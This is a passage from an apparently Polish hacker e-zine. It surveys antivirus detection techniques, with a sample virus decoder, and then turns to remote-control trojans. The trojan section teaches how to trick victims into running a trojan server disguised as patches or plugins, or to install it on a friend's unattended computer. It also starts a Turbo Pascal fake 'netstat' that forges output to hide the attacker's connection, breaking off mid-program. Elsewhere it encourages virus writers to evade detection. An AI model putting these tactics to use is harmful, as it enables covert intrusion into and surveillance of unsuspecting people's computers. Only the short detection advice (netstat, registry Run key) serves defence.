                ;adresem do ktorego zostaje wykonany skok poszukuje s.-stringu
 SEEK_LASTCALL  ;jak poprzednio, jednak tym razem jest poszukiwany ostatni
                ;skok w pliku i od niego rozpoczyna sie poszukiwanie s.-stringu
 SEEK_ALLCALLS  ;wirus moze lokowac sie w dowolnym miejscu pliku, lub tez
                ;dopisuje swoj kod na koncu pliku lecz zmienia losowy skok
                ;w pliku na skok do swojego kodu. W tym przypadku musimy
                ;przeszukac wszystkie instrukcje skokow (ale nie warunkowych)
                ;i sprawdzic obszar do ktorego sa oddawane skoki.

 SEEK_OFFSET    ;okresla przesuniecie s.stringu wzgledem adresu startowego.

 [Baza Danych o wirusach]
 [# Sygnatura 1 #]

 A.[Scan-string; np.: 01eh,04ah,051h,011h,0cdh,021h,0c3h,0e5h
                      013h,05ch,077h,0fch,0eeh,0abh,0cdh,001h

 B.[SEEK_IP, value; ta wartosc okresla w jakim miejscu pliku ma byc
             poszukiwany string, tutaj wzgledem CS:IP pobranym z naglowka
             pliku                                                        ]

 C.[SEEK_OFFSET; offset okreslajacy przesuniecie scan-stringu wzgledem
                 miejsca od ktorego rozpoczeto przeszukiwanie             ]

 D.[Virus_name; wskaznik do nazwy wirusa lub tez nazwa wirusa ktorego
                poszukujemy                                               ]

 E.[Repair_routine_ptr; wskaznik do procedury usuwajacej wirusa z pliku   ]

 [# Sygnatura 2 #]
 [# Sygnatura 3 #]
 itd.

 Ot, i mamy wszystkie potrzebne informacje do wykrycia wirusa. Jak widac
 blok parametrow potrzebnych programowi antywirusowemu sklada sie z ledwie
 30 - 40 bajtow. W praktyce dochodzi jeszcze punkt .E, zawierajacy wskaznik
 do procedury leczacej plik, jednak zazwyczaj programy AV stosuja jedna,
 uniwersalna procedure leczaca pliki do ktorej przekazywane sa jedynie
 parametry. Tak wiec autorzy wirusow - jesli piszecie cos co ma byc dobre,
 napiszcie swojego wirusa aby zabezpieczyc go przez takim wykryciem. Kod
 wirusa pisany przez programiste przez 2 - 3 tygodnie moze zostac zanalizowany
 w ciagu 5 minut wlacznie z opracowaniem parametrow potrzebnych do procedury
 leczacej pliki. Na koniec jeszcze jeden przyklad, tutaj przypomnimy sobie
 procedure dekodujaca znana z art. pt. Polimorfizm:


 x86:                                68k:
:100 b93412 mov cx,(endv-vir)    (1) $50000 41fa0010 lea    vir(pc),a0    (1)
:103 bf1001 mov di,offset vir    (2) $50004 303c1234 move.w #endv-vir,d0  (2)
:106 b2ab   mov dl,0abh          (3) $50008 72ab     moveq  #$ab,d1       (3)

decoder_loop:

:108 3015   xor byte ptr [di],dl (4) $5000a b318     eor.b   d1,(a0)+     (4)
:10a feca   dec dl               (5) $5000c 5301     subq.b  #1,d1        (5)
:10c 47     inc di               (6) $5000e 5340     subq.w  #1,d0        (6)
:10d 49     dec cx               (7) $50010 66f8     bne.b   decoder_loop (7)
:10e 75f8   jne decoder_loop     (8)

 dla x86 uzyskujemy scan-string:
 b93412bf1001b2ab3015feca474975f8 ;zakladamy ze argument instrukcji dekodujacej
               ^^                 ;nie zmienia sie.

 dla 68k:
 41fa0010303c123472abb31853015340 ;jak wyzej, tutaj nie musimy brac pod uwage
                   ^^             ;instrukcji skoku, gdyz bez niej uzyskujemy
                                  ;16-bajtowy string.


  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  8.3b    Scan-string ze znakami zastepczymi (Scan-String with wildcards).


 Ta metoda jest/byla wykorzystywana do poszukiwania wirusow o zmiennym
 kodzie. Nalezy podkreslic ze ta "zmiennosc" musi miescic sie w pewnych
 prawidlach, jesli tak nie jest - metoda ta staje sie bezuzyteczna. Pierwszym
 wirusem komputerow PC do ktorego ta metoda specjalnie zostala opracowana
 byl Maltese Amoeba znany tez jako Irish. Bylo to w 1991 roku, a wiec 11 lat
 temu. Przy niektorych wirusach szyfrujacych swoj kod przy pomocy polimorfizmu
 poziomu 3 (jak pamietamy z art. "Polimorfizm") mozliwe jest zastowowanie
 tej metody. Jej wada (nie tylko tej, ale wszystkich pokrewnych metod
 scan-stringu) jest brak mozliwosci "podazania" za kodem programu, czyli
 jesli wirus zbuduje dekoder z kilku/nastu/dziesiesiu kawalkow kodu
 wywolywanych skokami, nie bedzie mozliwosci prawidlowego rozpoznania wirusa.
 Jak wczesniej wspomnialem metoda ta ma pewne ograniczenia, a wiec jest tez
 ograniczone jej zastosowanie. Mysle ze nie ma sensu traktowac tego
 szczegolowo, jesli ktos chce wiedziec wiecej zapraszam na priv.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  8.3c    Sledzenie.
 

 Kiedys wiazana z ta technika duze nadzieje na powstrzymanie lawiny wirusow
 polimorficznych, jednak jak czas pokazal (a raczej autorzy wirusow), mozliwe
 jest stworzenie dekodera odpornego na sledzenie. Co wiecej, mozna to
 zrealizowac przy pomocy kilku zaledwie instrukcji asemblera. Zrezygnowano
 wiec z tej metody na rzecz innych, choc poczatkowo zastosowanie sledzenia
 bylo sporym sukcesem (nawet niejaki Mark Ellison, znany jako StormBringer
 napisal procedure uruchamiajaca programy w trybie sledzenia sluzaca do
 wykrywania wirusow opartych na engine Smeg0.3, btw: jego autorstwa).
 O ile mozna jeszcze od biedy zastosowac sledzenie do wykrywania wirusow
 DOS'owych (po analizie dekodera), to w przypadku wirusow pisanych pod
 Windows jest to znacznie trudniejsze, przyznam jednak ze sam nie wiem
 dokladnie czy jest to mozliwe do zrealizowania w latwy sposob (o ile to
 w ogole jest mozliwe). Raczej nic wiecej na temat sledzenia nie da
 sie napisac (powiedziec ;), wiadomo ze o wiele bardziej efektywnymi
 technikami jest zastosowanie systemow uruchomieniowych i emulacji procesora.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  8.3d    Systemy uruchomieniowe.
 

 Po pierwszych niepowodzeniach zwiazanych z zastosowaniem sledzenia do
 wykrywania wirusow, rozpoczeto badania nad innymi, alternatywnymi metodami
 rozpoznawania wirusow polimorficznych w plikach. Zanim do tego przystapiono
 istnialy juz takie programy jak monitory systemu i blokery. Zadaniem tych
 pierwszych bylo przejecie okreslonych przez uzytkownika przerwan (DOS),
 i wyswietlanie w oknie programu monitorujacego danych zawartych w rejestrach
 w momencie wywolania przerwania, oraz wyswietlanie rezultatow jego wywolania.
 Wprawny uzytkownik na podstawie obserwacji aktywnosci systemu mogl sam wykryc
 dzialania mogace byc "aktywnoscia wirusa". Blokery natomiast (Vsafe, VirBlock
 - oba x86, czy VirusInterceptor - 68k) byly rezydentnymi w systemie programami
 kontrolujacymi obsluge plikow i dyskow, oraz funkcje alokacji pamieci,
 jak np.: odczyt/zapis/formatowanie sektorow dysku, dodawanie przez aktualnie
 uruchamiany program wlasnej obslugi procedur systemu operacyjnego, dodawanie
 procesow/taskow do systemu, przejmowanie/dodawanie przerwan itp.
 Zaczeto sie zastanawiac nad mozliwoscia polaczenia obydwu typow programow.
 Po wstepnych analizach okazalo sie, ze korzysci wynikajace z takiej
 konsolidacji moga otworzyc nowa droge w kierunku wykrywania zmiennych
 wirusow (nie tylko polimorficznych). W czasach gdy tworzono takie
 oprogramowanie dominujacym systemem operacyjnym byl DOS, jako ze system byl
 stworzony do pisania wszelakiej masci wirusow (byly tez wszechdostepne kody
 zrodlowe wirusow, ziny itd. co owocowalo pojawianiem sie statystycznie 300
 nowych wirusow miesiecznie), powaznie wzieto pod uwage mozliwosc zastosowania
 nowego typu oprogramowania do wykrywania nieznanych jeszcze skanerom wirusow.
 Z zalozenia system taki mial kontrolowac wszystkie uruchamiane pliki, bacznie
 poszukujac w systemie symptomow "aktywnosci wirusa". Wkrotce okazalo sie ze
 niektore wirusy zwyczajnie umykaja zastawionym na nie pulapkom unikajac
 wykrycia. Metoda okazala sie dobra, jednak do pelnego sukcesu brakowalo
 wlasnie tej wiekszej skutecznosci w wykrywaniu nowych wirusow.
 Zdecydowano sie na dalsze rozwijanie oprogramowania, jednak z uwagi na to,
 ze nie istnieja zadne reguly co wirus moze zrobic a czego nie, pojawil sie
 trudny do przeskoczenia problem. Niedlugo mialo sie okazac, ze wymyslono
 dziwne w implementacji, ale bardzo skuteczne rozwiazanie. Zintegrowano
 nowy rodzaj "programow do wykrywania wirusow" ze zubozona wersja systemu
 operacyjnego. Tak powstaly szeroko znane "systemy uruchomieniowe". System
 taki moze w pelni kontrolowac zachowanie pliku podczas KAZDEJ operacji jaka
 taki plik przeprowadza, lacznie z tunellingiem, EPO (EntryPoint Obscuring),
 dekodowaniem itd. Z biegiem czasu rozbudowano systemy uruchomieniowe do tego
 stopnia, ze nie dosc ze moga one wykryc kazda dzialalnosc wirusa, to na
 dodatek moga same generowac probki wirusow do analizy. Jest to obecnie
 najbardziej zaawansowana antywirusowa technologia, jednak niestety niedostepna
 dla przecietnego uzytkownika. Znajduje sie ona na wyposazeniu kazdej wiekszej
 firmy produkujacej oprogramowanie antywirusowe, nie zanosi sie tez na to by
 mialo sie to zmienic. Chocby z kilku powodow: pierwszym jest oczywiscie
 tajemnica handlowa, jaka firma dysponujaca poteznym narzedziem bedzie chciala
 udostepnic je publice czy tez innej firmie? w zamian za spadek zyskow?
 Watpliwe... Po drugie znajomosc przez autorow wirusow dokladnych metod
 dzialania takich systemow pozwoli na obejscie niektorych z nich przez
 zastosowanie technik retro.



  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  8.3e     Emulacja procesora.
 

 Emulatory procesora sa z kolei najbardziej zaawansowana metoda wykrywania
 wirusow przeznaczona dla uzytkownikow. Znanych jest kilka programow
 posiadajacych dobre skanery heurystyczne (a wiec i emulacje procesora), pisze
 kilka gdyz napisanie DOBREGO emulatora wymaga wiele prac i wiedzy. Sama
 emulacja procesora mocno wiaze sie z heurystycznym wykrywaniem wirusow,
 jak to dokladnie dziala opisze ponizej.

 A. Zasada dzialania emulatora procesora.
 ----------------------------------------

 Pamietajac doswiadczenia zwiazane z wykrywaniem wirusow przy pomocy sledzenia,
 autorzy programow antywirusowych wiedzieli ze daleko jeszcze do pelnego
 zwyciestwa nad wirusami polimorficznymi. W przypadku sledzenia, kod badanego
 programu wykonywany jest instrukcja po instrukcji, z kolei po kazdej takiej
 operacji przeprowadzona jest kontrola w obrebie sledzonego bufora przy
 pomocy scan-stringu na obecnosc wirusow. Po zalozonej liczbie przesledzonych
 instrukcji sledzenie jest przerywane w przypadku nieznalezienia przez skaner
 sygnatury wirusa. Trudno tez o zaawansowana heurystyke w przypadku sledzenia,
 nie ma czegos takiego jak zaawansowana heurystyka bez emulacji procesora.
 Dalej: w przypadku sledzenia podejrzany kod wykonywany jest instrukcja po
 instrukcji przez procesor, jest to jedyne podobienstwo pomiedzy tracerami a
 emulatorami. W ich przypadku kod badanego programu tez jest wykonywany, tyle
 ze odbywa sie to poprzez deasemblacje programu i wynonywanie przez emulator
 procedur bedacych dokladnymi odpowiednikami zdekodowanej instrukcji.
 Ta wlasciwosc pozwala na emulacje kazdego procesora, byc moze wkrotce pojawi
 sie oprogramowanie umozliwiajace wykrycie wirusa napisanego na calkowicie inny
 procesor na obcym systemie. Wrocmy jednak do tematu. Jak napisalem wczesniej
 procesor emulowany jest przez specjalnie stworzone do tego celu moduly.
 Opisze teraz teoretyczny model emulatora procesora, sklada sie on z czterech
 glownych modulow (choc oczywiscie moze ich byc wiecej lub mniej, ich funkcje
 moga sie wzajemnie uzupelniac lub funkcje kilku modulow moga byc zintegrowane
 w jednym kawalku kodu):

 1. Deassembler
 2. Emulator
 3. Modul zarzadzania pamiecia
 4. Mechanizm decyzyjny.

 ** 1. Deassembler.
 -------------------

 Modul ten ma za zadanie odczytac z programu ktory ma zostac poddany
 kontrolowanemu uruchomieniu instrukcje assemblera, okreslic jej typ,
 tryby adresowania dla operandow zrodlowych i docelowych, okreslic czy
 jakikolwiek operand operuje na pamieci oraz ustalic dlugosc instrukcji.
 Czasami wstepna faza deassemblera jest tzw. pre-processor lub pre-deassembler,
 jest to procedura okreslajaca tylko typ instrukcji, i dalsze jej dekodowanie
 pozostawiajaca samemu deassemblerowi. Glowna zaleta takiego rozwiazania jest
 znaczne przyspieszenie procesu deasemblacji. Wlasciwy modul (deassembler)
 zaleznie od rezultatu dekodowania (instrukcja moze byc poprawnie zdekodowana
 lub nielegalna dla danego procesora) przekazuje parametry do mechanizmu
 decyzyjnego, ten z kolei decyduje czy dana instrukcja ma zostac poddana
 emulacji czy nie.


 ** 2. Emulator.
 ---------------

 Modul ten posluguje sie wirtualnymi rejestrami procesora w postaci
 przydzielonych blokow pamieci dla kazdego rejestru, stosu systemowego
 i rejestru statusowego badz rejestru kodow warunkow. Jako parametr
 wejsciowy otrzymuje od deassemblera dane na temat zdekodowanej instrukcji,
 a nastepnie uruchamia procedure ktora robi dokladnie to samo co instrukcja
 uzyskana przez deassembler, tyle ze zamiast na rejestrach - dziala na
 komorkach pamieci odpowiadajacych rejestrom. Jesli emulowana instrukcja
 operuje na komorce pamieci, emulator wywoluje modul zarzadzania pamiecia z
 zapytaniem czy pod okreslonym adresem istnieje jakas wartosc i odczytuje ja
 badz zapisuje (oczywiscie do komunikacji z pamiecia sluzy specjalna tablica
 zawierajaca adresy pamieci do ktorych nastapilo/nastapi odwolanie wraz z
 danymi znajdujacymi sie pod tymi adresami). Dzieki emulacji, na procesorach
 starszych mozna emulowac instrukcje nieznane dla nich instrukcje, wprowadzone
 dopiero w nowszych procesorach. Istnieje nawet mozliwosc emulacji koprocesora
 mimo iz faktycznie nie ma go w systemie.

 ** 3. Modul zarzadzania pamiecia.
 ---------------------------------

 Jest to procedura majaca za zadanie symulowanie pewnych obszarow pamieci
 wraz z danymi znajdujacymi sie w obszarze tej pamieci. Z reguly pamiec
 jest mapowana w buforze jako [adres | wartosc]. Dzieki temu mozna latwo
 odczytywac zawartosc takiej pamieci. Najwazniejsza zaleta MZP jest fakt,
 ze zamiast modyfikowac dane w pamieci operacyjnej, mozna stworzyc w
 bezpiecznym obszarze jej kopie i na niej dokonywac operacji. Dzieki temu
 wirus "mysli" ze ma do czynienia z prawdziwym systemem co moze ocenic
 po zapisie/odczycie pamieci. Przed przystapieniem do emulacji programu, MZP
 musi stworzyc w pamieci kopie wszystkich wazniejszych elementow systemu
 operacyjnego do ktorych bedzie sie odwolywal wirus. Wtedy zamiast zapisu lub
 odczytu wybranych fragmentow pamieci, wirusowi zostanie podsunieta "udawana"
 pamiec.

 ** 4. Mechanizm decyzyjny.
 --------------------------

 Arrggghhh.... Ale fachowa nazwa. Nic dziwnego, ten modul jest jadrem emulatora.
 Zadna operacja przeprowadzana przez deassembler\emulator\MZP nie dzieje sie
 bez jego zgody. Na podstawie danych dostarczonych jako rezultaty dzialania
 przez poszczegolne moduly, potrafi oszacowac na ile procent mamy do czynienia
 z wirusem. Potrafi tez (w przypadku zaawansowanych mechanizmow) wyciagnac
 z pliku wszystkie konieczne do wyleczenia dane, byc moze juz istnieja albo
 wkrotce zaczna istniec mechanizmy pozwalajace na leczenie plikow przez
 zastosowanie metod heurystycznych (Generic Heuristic Cleaning). Emulator
 rozpoczynajac badanie pliku "wie", ile instrukcji podda emulacji. Jesli
 w tym czasie nie napotka na zadna podejrzana akcje typu alokacja pamieci,
 odtworzenie punktu skoku, przejecie funkcji systemowej itd., odstepuje od
 dalszego sprawdzania i zamyka plik. MD moze tez zdecydowac o sprawdzaniu
 pliku do skutku w przypadku wykrycia w nim typowych konstrukcji skokow do
 kodu wirusa jak w np. szeroko znanej metodzie infekcji plikow *.COM.
 


 B. Co emulator moze zrobic?
 ---------------------------

 Emulator moze wykryc kazdego, powtarzam KAZDEGO wirusa. Metamorficzne wirusy
 w ich obecnym stadium zaawansowania nie maja szans w walce z emulatorami.
 Wyobrazmy sobie wirusa polimorficznego ktory nie generuje procedur dekodujacych
 lecz procedury dekompresujace (rozniace sie algorytmem kompresji). MD
 emulatora ukierunkowany na wykrycie takiego wirusa nie da mu duzych szans,
 mimo ze wirus moze sprawiac wrazenie zaawansowanego. Rowniez jesli chodzi
 o metamorfizm, technika ta zapewnia tylko pozorna calkowita zmiennosc wirusa.
 Jednak podczas emulacji, rezultat wynikowy wykonania poszczegolnych instrukcji
 da zawsze taki sam efekt (co jest zreszta zamierzone przez autora wirusa).
 Z tego powodu nie widze duzej przyszlosci dla wirusow metamorficznych, jest
 to zmiennosc dla ludzkiego oka, ale nie dla algorytmiki. Jedyny klopot
 emulatorom moga sprawic wirusy polimorficzne. Znane sa nowatorskie engine'y
 Benny'ego czy Griyo (obaj 29A), jednak najbardziej zaawansowane sa te, ktorych
 autorem jest Z0MBiE (tez 29A).


 C. Co my mozemy zrobic emulatorowi?
 -----------------------------------

 Nie uruchamiac sie pod jego kontrola :-)))))))))))))))))))))))))))))))))))))
 Znajac zasade dzialania emulatora wiemy, ze jedynym modulem z ktorym mozemy
 walczyc jest mechanizm decyzyjny. Zaawansowany deassembler znajdzie "dziwna"
 instrukcje i poinformuje o tym MD, a tego wolelibysmy uniknac - ALERT.
 Odpowiedz? trudno powiedziec. Miedzy innymi dlatego ze emulatory stosowane
 przez poszczegolne programy AV bardzo roznia sie od siebie. Po drugie: to
 co dzis okaze sie wystarczajace, jutro moze zostac wykryte lub zaflagowane
 przez heurystyke.



  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  8.3f    Interpretery.
 

 Sa to specjalnie przystosowane systemy uruchomieniowe przeznaczone do
 wykrywania wszelkiej masci "nieprogramowych" wirusow. Umozliwia on wykrywanie
 wirusow *.BAT, *.JS, *.VBS, *.DOC, *.XLS i innych. Interpreter zawiera moduly
 badajace przyszly rezultat funkcji polecenia zawartego w kodzie wirusa.
 Dzieki temu znany jest efekt uruchomienia makrowirusa bez koniecznosci
 jakielkolwiek emulacji czy tez potrzeby kontrolowanego uruchomienia.
 O ile w przypadku wirusow plikowych niezbedna jest pelna kontrola nad systemem,
 o tyle wirusy interpretowane nie dysponuja taka swoboda w systemie operacyjnym.
 Dlatego okrojona wersja systemu uruchomieniowego wystarcza do wykrycia takich
 hmmm... wirusow.



  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  8.3g    Co dalej?
 

 Wreszcie dotarlismy do konca. Prawie 20 kilo tekstu za nami, wiec mozemy
 troche porozwazac na temat przyszlosci wirusow i antywirusow. Wydaje sie
 ze robactwo w stylu "Love letter" czy "Melissa" zniknie calkowicie z
 Internetu w ciagu 2 gora 3 lat. Juz teraz co wieksze portale dysponuja
 wlasna heurystyka jesli chodzi o sprawdzanie poczty. Niedlugo dojdzie
 do tego, ze wirus zanim gdzies wysle swoja kopie bedzie musial sie "wlamac"
 do adresata. Znajac mozliwosci sceny VX nie jest to odlegla perspektywa,
 byc moze juz za 2 lata pojawi sie pierwszy tego typu wirus. Nie da sie tez
 ukryc ze 90% wykrywanych wirusow to chlam lub przerobki czegos co juz
 istnieje, wraz z wprowadzaniem nowszych wersji systemow operacyjnych starsze
 wirusy zaczna "wymierac", a pojawiac sie beda nowsze. Mysle ze bedzie ich
 o wiele mniej, gdyz jak dalo sie zauwazyc wraz z pojawienien sie na rynku
 Windows95 znacznie spadla liczba nowych wirusow. Wg mnie znaczy to ze pisanie
 wirusow stanie sie zajeciem bardziej elitarnym i wroci do sytuacji z konca
 lat 80, gdy ledwie garstka ludzi tym sie zajmowala. W chwili obecnej nie
 znam nikogo kto bylby w stanie napisac wirusa pod Win2k, nie mowiac juz o XP.
 Same wirusy przejda znaczaca ewolucje za 3-4 lata, mysle ze metamorfizm
 to droga donikad - utopia. Jednak jedna technika moze narobic mnostwo
 zamieszania wsrod sceny AV. Co to takiego do jasnej cholery? Hmm..
 Pierwszy wirus bedzie mial ok. 100k (za duzo??? WinNT.RemoteExplorer ma 140k)
 i bedzie dosc toporny. Dobre beda te ktorych rozmiar bedzie liczyl ponad
 200k. Ta technika to AI (Artificial Intelligence), czyli sztuczna
 inteligencja. Sieci neuronowe sa znane on conajmniej dwoch dekad, czemu wiec
 nie skorzystac z tego? Oczywiscie istnieja trudnosci, skoro wirus ma sie
 "uczyc" omijac programy antywirusowe czy infekowac pliki, musi tez targac
 za soba "bagaz doswiadczen" swoich poprzednich generacji. To juz jednak
 inna historia...




  -------------------------------TROJANY--------------------------------------

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  9.1    Zasada dzialania i mozliwosci

Trojanki tego typu skladaja sie z 2 czesci (czasem sa jeszcze dodatki): Servera
i Klienta.

SERVER (to to, co nalezy wcisnac ofierze)
- po uruchomieniu na comp'ie ofiary pozostanie w pamieci w oczekiwaniu na
polecenia (nie koniecznie) z zewnatrz
- kopiuje sie w bezpieczne miejsce i modyfikuje system tak, by uruchamial sie
przy kazdym nastepnym starcie systemu

KLIENT (to zostawmy sobie)
- jest czescia trojana sluzaca do wydawania polecen Serverowi

Dzieki trojanom mozemy penetrowac dysk ofiary (przegladac, zmieniac, kasowac),
mozemy prowadzic "podsluch". Wiekszosc trojanow daje tez mozliwosc uprzykrzania
zycia ofierze np. po przez przejecie kontroli nad mysza, zamykanie programow,
restart czy tez zawieszanie systemu..

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  9.2    Podrzucanie

Ciekawa i zabawna rzecza jest samo podejscie lusera i wcisniecie mu trojana,
jest to obok ukrywania trojana jedna z ciekawszych i przyjemnych prac. Podam
tutaj kilka sposobow mojego pomyslu, ktore mozna wykorzystac w sieci lokalnej
jaki w inecie. Dla tych, ktorzy pierwszy raz :)), podrzucanie trojanow to
poprostu naklonienie kogos aby odpalil u siebie server trojana.

Aby wcisnac komus trojana nie mozna byc natarczywym (albo w prost upierdliwym),
kiedy podrzucasz komus trojana nie mozesz ciagle upominac sie o niego, podam
tutaj przyklad kiedy to typ o xywie L.... (prowadzi strone z fifa), probowal mi
wcisnac trojana, wszystko dzieje sie na Icq:

(...)
gadamy sobie pare minut i nagle
megadooz: co ty mi wysylasz?
L...:    yy to jest update do fify
megadooz: po co mi to?
L...:    no bo mi nie dziala wes to odpal
megadooz: i co to jest?
L...:    no .... wszystko mozna zmieniac
potwierdzilem przyjecie pliku , zaczol mi wysylac
megadooz: oki
L...:    tylko odpal i mi powiedz czy dziala
megadooz: no dobra
L...:    bo to wazne
megadooz: no zobacze
przesylanie sie skonczylo...
L...:    no i co dziala?
L...:    wes szybko zobacz bo sie spiesze
patrze na plik , ktory mi podeslal a tu plik z ikonka antenki (ci co bawili
sie NetBusem odrazu wiedza o co chodzi) wywalilem to odrazu, a ze wiedzialem o
co chodzi:
megadooz: nic sie nie dzieje
L...:    wlaczyles to wogle?
megadooz: no tak wogle sie nic nie pokazuje
cos mu nie pasuje ;) bo niemoze sie polaczyc z serverem huh a niewie, ze bym
musial zrestartowac jeszcze kompa aby dzialalo
megadooz: no tak nic sie nie stalo, co ty mi podeslales?
L...:    no patch , bo ja juz musze isc
zaczol sie dziwnie spieszyc , nawet niewiem czemu
L...:    wes jeszcze raz sprawdz
megadooz: ni huj
teraz zaczolem swoje :)
megadooz: kurde to mi w katalogu windows porobilo pliki , co tymi tu wcisnoles
kurwa to trojan co?
L...:    :O y to nie to to cos innego tamto to byl patch ja ide
megadooz: ta oczywiscie takie numery to nie ze mna , nara

jak widac chlopak sie predko sparzyl, za mocno naciskal abym to odpalil i
okazywal zniecierpliwionego, kiedy mu nie dzialalo koniecznie chcial jak
najpredzej skonczyc rozmowe. No i jeszcze popelnil duzy blad, podeslal mi
trojana bez zmienionej nazwy patch.exe... mogl chociaz zmienic na fifapatch.exe
huh, to jest wlasnie przyklad wykorzystywania trojana przez lamera. Dodam
jeszcze , ze specjalnie nie umieszczalem adresow www gdzie mozna znalezc
wymienione wyrzej trojany w szczegolnosci prosiaka aby nie wpadly one w lame
lapy.

O ile wiekszosc trojanow jest w postaci plikow z charakterystyczna ikona, to
tworca prosiaka posunol sie do tego stopnia, ze mozna (jak juz wczesniej
wspomnialem)go dokleic do kazdego programu... jednak ja tego nie praktykuje bo
to odbiera cala zabawe w podchodzeniu do goscia. Bo co za zabawa podeslanie
typowi AcDSee z trojanem? faktem jest ze jest to skuteczne i efektywne w 100%
ale nie zabawne i przyjemne.

Inny sposob mozna zastosowac kiedy ma sie dostep do kopma kumpla (oplacalne
kiedy jestes razem z nim w sieci). Wtedy mozna wykorzystac jego nieuwage i
instalnac mu samemu trojana, odpalajac ze swoich udostepnionych zasobow trojana
lub uaktywnic opcje zdalnego admina. Nalezy wtedy dzialac szybko i sprawnie.
Lepsza sprawa jest kiedy odwalimy numer majac dostep do kompa kumpla w sposob
taki: zakladajac, ze nasz komp jest wylaczony albo nie jest w sieci badz niemasz
udostepninoego trojana, mozna mu instalnac najpierw jakis maly programik,
ktorego nieposiada (nie mowiac mu o tym of corz), i kiedy twoj i jego komp beda
polaczone namowic go, zeby se instalnol jakis tam prog (tak naprawde to bedzie
to trojan) i kiedy on skuma, ze nic sie nie pojawilo, instalka nie zadzialala,
powiedziec mu zeby sprawdzil sobie w folderze np. program files (w zaleznosci
gdzie zainstalowalismy programik u niego). Typ powinien to lyknac. Jedyny
problem to fakt, ze aby nakrecic tak klienta to musi on byc niezlym lamuchem
badz miec niezly syf na dysku... Czasem zdarza sie okazja, ze przed kompem
siedzi sistra usera, ktory nigdy by nie dal sobie wcisnac trojana... wtedy
wystarczy dzialac ;)).

Pierwsze co trzeba zrobic to odgadnac zainteresowania ofiary, jezeli klient lubi
np. mp3 i wszystkie programiki, bajerki, duperelki do tego formatu mozna mu
wcisnac trojana na wiele sposobow, miedzy innymi jako nowy plug'in, dodatek do
formatu mp3 (korektor jakosci w plikach or cus takiego ;). Jezeli typ jest
naprawde napalony na jakas dziedzine hobby to nie bedzie sie wcale zastanawial
czy jest to trojan czy prawdziwy program.  Inny sposob to dopisaniu w programie
dosowym (wlasciwosci/wiersz roboczy) linku do trojana. Praktycznie nikt nie
patrzy z jakimi parametrami startuje jakas gierka ;), utrudnieniem natomiast
jest fakt, ze programow i gier dosowych jest coraz mniej na rynku. Nie zapomniec
nalezy rownierz o tym aby nigdy nie naklaniac gostka na uruchomienie jakiegos
progu, bardzo czesto staje sie wtedy bardzo podejrzliwy i szanse maleja
drastycznie aby zainstalowal sobie trojana.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  9.3    Wykrywanie i unieszkodliwianie

Najprosciej jest do tego celu komendy "netstat -a". Dzieki niej bedziemy mogli
zobaczyc jakie porty sa aktualnie otwarte. Nalezy szukac portu 31337, 12345
lub innego charakterystycznego dla jakiegos trojana. Trzeba przy tym pamietac,
iz trojany moga oczekiwac na polaczenie na innym, niestandardowym porcie -trzeba
wiec zainteresowac sie wszystkimi podejzanymi..

Istnieja takze programy, ktore potrafia wykryc, jak tez wyleczyc system z okreslonego
trojana, np: BORED, Netbuster, BouffeTroyen, TheCleaner.

Aby trojan dzialal po kazdym starcie systemu, najczesciej modyfikuje rejestr:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run(..)
Mozesz recznie wywalic podejzany wpis uzywajac chocby regedit.exe

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  9.4    Ukrywanie

Kiedy mamy juz ofiare z trojanem warto sie zatroszczyc aby trojan u gostka byl
jak najdluzej zywotny. Jest wiele sposobow by wykryc trojana, tak samo duzo jest
sposobow aby go ukryc i zabezpieczyc sie przed ewentualnym wykryciem jego.

Komenda "netstat -a" pokaze cos takiego:

Aktywne polaczenia

  Protok?  Adres lokalny           Obcy adres          Stan
  TCP       lamer:137               LAMER:0               LISTENING
  TCP       lamer:138               LAMER:0               LISTENING
  TCP       lamer:44444          megadooz:1137            LISTENING
  TCP       lamer:nbsession         LAMER:0               LISTENING
  UDP       lamer:nbname            *:*
  UDP       lamer:nbdatagram        *:*

nas interesuje trzecia cala linijka pod 'protokolem" (niestety pisalem na pamiec
takze w obcym adresie moze byc innym port z ktorego jestesmy polaczeni, ale
mniej wiecej wyglada to tak). Jak widac czarno na bialym mamy napisane kto z
jakiego i na jakim porcie siedzi. Jest to przyklad jak sprawa sie ma w sieci
lokalnej, natomiast kiedy mamy polaczenie z internetem bedzie to wygladac mniej
wiecej tak (tez pisane z pamieci):

  TCP       lamer:44444   333@gdansk.tpnet.pl:1137        LISTENING

(of corz nie bedzie to wygladac dokladnie tak).

No wiec kiedy klient zerknie sobie do netstata odrazu skuma w czym rzecz. Ale
jest latwy sposob jak mozna oszukac malo doswiadczonego usera w tym punkcie...
Piszemy malutki programik w turbo pascalu:

-\cut here\-
#zrodlo programu autorstwa megadooz'a
#kontakt megadooz@poczta.fm
program netstat;
  begin
Writeln ('Aktywne polaczenia');
Writeln ('');
Writeln ('  Protokol  Adres lokalny           Obcy adres          Stan');
Writeln ('  TCP       lamer:137               LAMER:0               LISTENING');
Writeln ('  TCP       lamer:138               LAMER:0               LISTENING');
Writeln ('  TCP       lamer:nbsession         LAMER:0               LISTENING');
